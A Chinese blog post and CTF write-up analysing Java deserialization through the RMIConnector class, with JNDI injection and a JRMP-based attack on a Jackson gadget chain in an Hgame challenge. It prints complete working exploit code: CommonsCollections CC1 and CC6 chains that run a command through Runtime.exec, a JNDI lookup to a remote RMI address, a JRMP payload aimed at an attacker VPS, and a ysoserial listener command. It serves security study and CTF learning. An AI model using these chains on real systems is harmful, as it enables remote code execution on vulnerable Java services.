RMIConnector类反序列化

6 分钟

前言

Asal1n老登最近在狂卷关于CTF模块Java Sec反序列化方面的内容,他在出现了各种各样的问题后总会找我讨论一番,然后我就会学习到新的东西,下面这个文章就是这周末出来的一些新内容,记录以下,感谢Asal1n

RMIConnector二次反序列化

这个反序列化链子之前确实没有遇到过,在他发给我的时候是有一点懵的,但是这整条链子十分的简单,确实立即就看懂把问题解决了,下面的链子的分析。

二次反序列化顾名思义就是要找到一个方法里面能够接受对象触发readObject,同时这个方法也可以通过反序列化链子触发。此次的二次反序列化触发点就在findRMIServerJRMP中。这个方法接受一个base64字符串,将传入的字符串转换成字节数组并读取,随后通过传入的env环境变量解析客户端的类加载器,如果获取到的类加载器为空,则直接将字节流转换成对象流,最终通过readObject触发反序列化。

image-20240304092110445

在上面findRMIServer中,接受了一个JMXServiceURL类的参数和一个Map,先调用isIiopURL判断directoryURL的协议类型是RMI还是IIOP,这里的判断方法是获取protocol属性进行判断,protocol在构造JMXServiceURL的时候取出service:jmx:后面部分赋值给protocol。如果它是iiop协议,会把java.naming.corba.orb字符和类放入到map中。最终从directoryURL中获取urlPath的内容,取出;的索引位置,如果不存在; ,把end赋值为整个长度,判断path是以/jndi/ /stub/等起始进入不同的方法并把/jndi/ /stub/对应的字符串去掉。

此处要触发二次反序列化,需要令findRMIServer进入findRMIServerJRMP,所以要传入的urlPath/stub/开头并且是rmi协议

image-20240304092940654

image-20240304094442912

RMIConnect#connect方法中和RMIConnect.RMIClientCommunicatorAdmin#doStart找到调用了findRMIServer的方法,这里肯定是使用connect方便,这个方法根据terminatedconnected判断是否以关闭交互或已连接抛出异常,最终来到rmiServer的判断,这里rmiServer也是RMIConnect实例化的时候传参判断是,可以实例化RMIServer或jmxServiceURL,当RMIServer为空,会调用findRMIServerw,这里的stub可以理解为RMI协议进行通信的中转器。

image-20240304095444440

至于后面如何调用的connect方法,在本类中并没有找到能直接调用connect方法的东西,所以这里调用connect方法可以通过method.invoke的方式来触发,例如CC链的触发点。

那么为什么不直接就通过method.invoke触发findRMIServer,因为connect更简单,它可以接受空的参数就触发后面的链子并且是public修饰的,而直接触发findRMIServer需要传参,而且它是私有方法

Gadgets:

method.invoke()->
    RMIConnect#connect()->
        RMIConnect#findRMIServer()->
            RMIConnect#findRMIServerJRMP()->
                readObject()

payload(以CC1链为例):

package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.poi.ss.formula.functions.T;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class RmiConnect {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class), //解决第三个问题
                //解决Runtime无法被序列化的问题
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
        map.put("value","aiwin");
        Class<?> AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object result= constructor.newInstance(Target.class,transformedMap);
        String s= serialize2Base64(result);
        RMIUnserialize(s);
    }


    public static void RMIUnserialize(String base64) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
        RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
        setFieldValue(jmxServiceURL,"urlPath","/stub/"+base64);

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(rmiConnector),
                new InvokerTransformer("connect", null, null)
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        TransformedMap transformedMap= (TransformedMap) TransformedMap.decorate(map,null,chainedTransformer);
        map.put("value","aiwin");
        Class<?> AnnotationInvocationHandler=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor=AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object result= constructor.newInstance(Target.class,transformedMap);
        byte[] serialize = serialize(result);
        unserialize(serialize);
    }


    public static byte[]  serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();

    }
    public static String  serialize2Base64(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        return s;
    }
    public static void setFieldValue(Object object,String fieldName,String value) throws NoSuchFieldException, IllegalAccessException {
        Field field=object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,value);
    }

    public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
        objectInputStream.readObject();

    }

}

RMIConnect JNDI注入

同样在findRMIServerJNDI中它能够通过接受jndiURL的形式来直接调用lookup进而从远程服务器中调用ClassLoader完成类加载,所以这里也是可以进行JNDI注入的。

image-20240304105306790

只需要把传入的directoryURL/jndi/开头即可

image-20240304105905291

payload(以CC6为例):

package com.example.rmiconnect;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class RmiConnect_jndi {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String path="rmi://127.0.0.1:8085/OLtKoxXc";
        JMXServiceURL jmxServiceURL=new JMXServiceURL("service:jmx:rmi://");
        RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
        setFieldValue(jmxServiceURL,"urlPath","/jndi/"+path);

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(rmiConnector),
                new InvokerTransformer("connect", null, null)
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> Lazymap= LazyMap.decorate(map,new ConstantTransformer(1)); //先设置为其它Transformer,使其put()方法不触发
        TiedMapEntry tiedMapEntry=new TiedMapEntry(Lazymap,"aaa");
        HashMap<Object,Object> map2=new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        Lazymap.remove("aaa"); //将key去掉,使它能进入transform()方法
        setFieldValue(Lazymap,"factory",chainedTransformer);
        unserialize(serialize(map2));


    }
    public static void setFieldValue(Object object,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,value);
    }
    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static void unserialize(byte[] ser) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(ser));
        objectInputStream.readObject();

    }

}

[Hgame week4]i-short-you1

这道题是看了yoserial后才恍然大悟,打Jackson反序列化链子的时候因为BaseJsonNodewriteplace检查,所以反序列化是不成功的,但是我之前一直没有意识到writeplace可以在反序列化的时候通过动态代码把writeplace方法直接remove掉。

题目代码:

image-20240304142400753

题目代码很短,只限制了长度为220,也就是说这样必定不可能是常规接受参数进行反序列化的打法,可能的就是RMI、LDAP、JRMP去请求payload从而实现命令执行的打法

image-20240304142532358

看一眼依赖,发现就只有springboot的正常依赖,但是这里jackson的版本是2.13,这个版本号依旧是存在jackson反序列化漏洞的。

因为题目环境的jdk版本是202,在191之后,也就是说RMI、ldap这一类的codebase已经被ban掉了,唯一可用的就只剩下JRMP,所以此处是JRMP打JACKSON1链子的打法

package org.vidar.controller;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.*;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;

public class POC {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjID objID=new ObjID();
        TCPEndpoint tcpEndpoint=new TCPEndpoint("127.0.0.1",8081); //vps-ip
        LiveRef liveRef=new LiveRef(objID,tcpEndpoint,false);
        UnicastRef unicastRef=new UnicastRef(liveRef);
        RemoteObjectInvocationHandler remote=new RemoteObjectInvocationHandler(unicastRef);

        ByteArrayOutputStream byteArrayOutput=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutput);
        outputStream.writeObject(remote);
        outputStream.close();
//创建一个远程对象的引用和调用处理程序,进行序列化写入,反序列化向VPS进行请求
        byte[] bytes=byteArrayOutput.toByteArray();
        String res = Base64.getEncoder().encodeToString(bytes);
        System.out.println(res);
    }
//java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8081 Jackson1 "calc.exe" 起JRMP服务器
}

image-20240304141726105

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:RMIConnector类反序列化
文章链接:https://aiwin.fun/index.php/archives/4388/
最后编辑:2024 年 3 月 5 日 21:59 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 2 + 8 =
本文共 1 条评论。您也快来参与吧!
    3月6日 浙江省金华市 发自Windows 10 回复

    大佬好厉害